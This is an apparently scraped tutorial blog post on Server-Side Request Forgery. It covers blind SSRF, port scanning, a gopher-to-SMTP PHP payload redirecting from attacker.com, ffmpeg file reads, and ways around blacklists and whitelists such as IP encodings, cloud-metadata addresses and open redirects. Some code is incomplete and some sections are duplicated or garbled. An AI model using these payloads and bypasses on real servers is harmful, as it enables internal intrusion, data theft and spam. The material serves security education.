Vulnerability Vault: Breaking Down SSRF — Server Side Request Forgery (Part 2)

8 months ago 67

BOOK THIS SPACE FOR AD

ARTICLE AD

Welcome to “Vulnerability Vault ,” a dedicated series where we unravel the mysteries of cybersecurity vulnerabilities, one byte at a time. Let’s continue our journey with an in-depth exploration of Server-Side Request Forgery (SSRF), a critical vulnerability that has been exploited in the shadows of the digital world.
We already discussed BASIC SSRF in Part — 1, let’s move to Blind SSRF

In some instances of Server-Side Request Forgery (SSRF) vulnerabilities, the attacker may not receive a direct response from the exploited server. Such scenarios are identified as blind SSRF, where the vulnerability is present but does not visibly return data to the attacker.

Setting up the local environment to set the Blind SSRF up: (Idea from: Jobert’s post)
For the sake of this blog post, let’s assume we have a server that runs on the following Ruby code:
To install following package, use gem install sinatra open-uri uri#ruby version ruby 3.1.2p20
require 'sinatra'
require 'open-uri'
get '/' do
# Ensure the URL parameter is provided
return "No URL provided" unless params[:url]
url = params[:url]
# Use `URI.open` for Ruby versions where `Kernel#open` is considered unsafe or deprecated
'OK'
end

The above code runs a server on port 4567 which on getting request does the following:
-> make request to URL mentioned by user
-> send reponse “OK” back to user instead of content(CANT SEE RESPONSE)

Therefore, when attacker will visit “http://localhost:4567/?url=https://google.com” will request google.com, but it does not return the response from google to adversaries.

To demonstrate the impact with this kind of SSRF is to run an Internal IP and Port Scan

Mentioned below are the list of private IPv4 networks that can be used to scan for services:

10.0.0.0/8127.0.0.1/32172.16.0.0/32192.168.0.0/16

We can determine whether the specified PORT is Open/Closed by observing the Response Time and Response Status.

Example of table of response status and time —

Performing Denial of Service —

Adversaries can use iptables TARPIT target to block request for a prolonged time and CURL’s FTP:// protocol which nevers timeouts
An attackers can send all the TCP traffic to port 12345 to TARPIT and the request
Example: https://example.com/ssrf/?url=ftp://attacker.com:12345/Test

PDF Generators —

There exists some cases where server renders the data or uploaded file to a PDF.
May be, injecting <iframe>,<img>,<base> or <script> elements or CSS URL() functions pointing to internal services could work.

Let’s say we can read internal files using:

Refer to the example for more better understanding.

File Uploads —

Instead of uploading images/file, lets try manipulating input type to URL and check whether servers sends a request.

For example: Manipulate, the input type of file to

<input type="file" id="upload_file" name="upload_file[]" class="file" size="1" multiple="">=

to url

<input type="url" id="upload_file" name="upload_file[]" class="file" size="1" multiple="">
Send Spam Mails —

and pass the URL in the text field.
Refer — Similar example to demonstrate the case is found here.

Send Spam Mails —

When the server supports Gopher, it can be used to send spam mails from server IP
To demonstrate this, let’s use test.smtp.org testing server.

To do so, let’s craft a malicious php page: http://attacker.com/ssrf/gopher.php

<?php
$commands = array(
'HELO test.org',
'MAIL FROM: <admin@server.com>',
'RCPT TO: <bit-bucket@test.smtp.org>',
'DATA',
'Test mail',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://test.smtp.org:25/_'.$payload);
?>

Then we can use, the malicious URL in SSRF injection point.
For example:
https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.com

This code combines our SMTP command into single line delimited by %0A and forces server to send a ‘GOPHER’ request to a SMTP server while actually sending a valid SMTP request.

Video Conversion —

There are many applications which uses outdated version ffmpeg to convert videos from one format to other

There exists known SSRF vulnerability for this type of cases. To demonstrate so, follow the given steps

Clone neex repo and generate an avi using below command

./gen_xbin_avi.py file://<filename> file_read.avi

and upload it in the vulnerable server and try converting it from avi to mp4

This file can be used to read internal file and write in to the video

Refer to example: #237381 , #226756

Known SSRF vulnerabilities in CMS, Plugin, Themes …

This is limited to our search knowledge and skills,

Blacklisting in the context of SSRF mitigation refers to the practice of denying the server’s ability to make HTTP requests to specific domains, IP addresses, or URI schemes deemed unsafe or sensitive.

In one sentence, it’s — Blocking specific domains, IP address or URI (Disallowed Hosts).

This means, let’s say if server blacklists domain of attacker.com and when adversaries ask the server to make request to same domain, it’ll fail.

Attackers have developed numerous methods to circumvent blacklists, making this approach less effective as a sole defense mechanism. Here are some common bypass techniques:

Using Alternative Notations: IP addresses can be represented in various formats, such as decimal, hexadecimal, or octal, potentially bypassing naive IP address blacklists.Converting IP to hexadecimal —
You can use online tools(IP2hex) to do so.
For example: Converting http://10.10.10.1 to doted hex —http://0a.0a.0a.01 or dot-less hex — http://0x0a0a0a01Converting IP to Decimals —
Can use any of the online convertors(Link)http://2130706433/ = http://127.0.0.1
http://0177.0.0.1/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1Converting IP to Octal —
Online tools can be used (Link) to do so.
For example: Converting http://10.10.10.1 to doted hex — http://0012.0012.0012.0001 or dot-less hex — http://01202405001
Refer — #1710562Using DNS Wildcards:
If a domain is blacklisted, attackers might use subdomains or rely on DNS wildcards to route the request to the intended target, assuming the blacklist does not cover all possible subdomains.
Online tools that provides this features, some of them are:

We can simply use them to point it to a specific IP:

10.0.0.1.nip.io maps to 10.0.0.1
192-168-1-250.nip.io maps to 192.168.1.250
metadata.nicob.net maps to 169.254.169.254

Or using our domain to do the same. We cam make a subdomain and point it to 192.168.0.1 with DNS A record.

Refer: #6353 , #1369312

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽
⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱
⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ
Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ
ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Internal Name Resolution:
Utilizing internal DNS names or system-specific names (like localhost, localhost.localdomain, 127.0.0.1) that might not be included in the blacklist.Shortened URLs:
Using URL shortening services to hide the actual destination of the malicious request until it’s too late for the blacklist to be effective.Bypass using IPv6/IPv4 Address Embedding:
IPv6/IPv4 Addres Embeddinghttp://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]

Whitelisting — Allowing Specific URI/URL’s , IP address, domain (Allowed Hosts)

Imagine you’re setting up a security system that only lets in guests you’ve specifically invited. In the digital world, this concept is called whitelisting, where only certain URLs (known as Allowed Hosts) get the green light for access. Let’s dive into a scenario to make this clearer.

Suppose you have a server that’s only friendly with google.com; it’s on your guest list. If you try to bring along any other site through an SSRF (Server-Side Request Forgery) exploit, the server will show them the door, no exceptions. However, there’s a clever workaround if you can spot an open redirect within a site that’s already been given the thumbs up.

Case 1:

Your server has given the VIP pass to abc.com, and you discover an SSRF vulnerability on example.com. Here’s what happens:

Attempting to fetch google.com directly through http://example.com/ssrf.php?url=https://google.com hits a wall because it's not on the list.But, if you navigate through abc.com with a URL like http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com, you successfully bring google.com into the party, thanks to the open redirect on abc.com.

Case 2:

This time, your server is a bit more generous, extending the invite to all subdomains under abc.com (*.abc.com). Yet, google.com is still a no-go without the proper credentials.

Again, a direct attempt to fetch google.com fails because it’s not whitelisted.The plot thickens when you manage to take over a subdomain under abc.com. By leveraging this position, you can create a detour (using an iframe or redirect) to your desired site.

For example, http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com smoothly navigates through the security check and fetches google.com.

Read Entire Article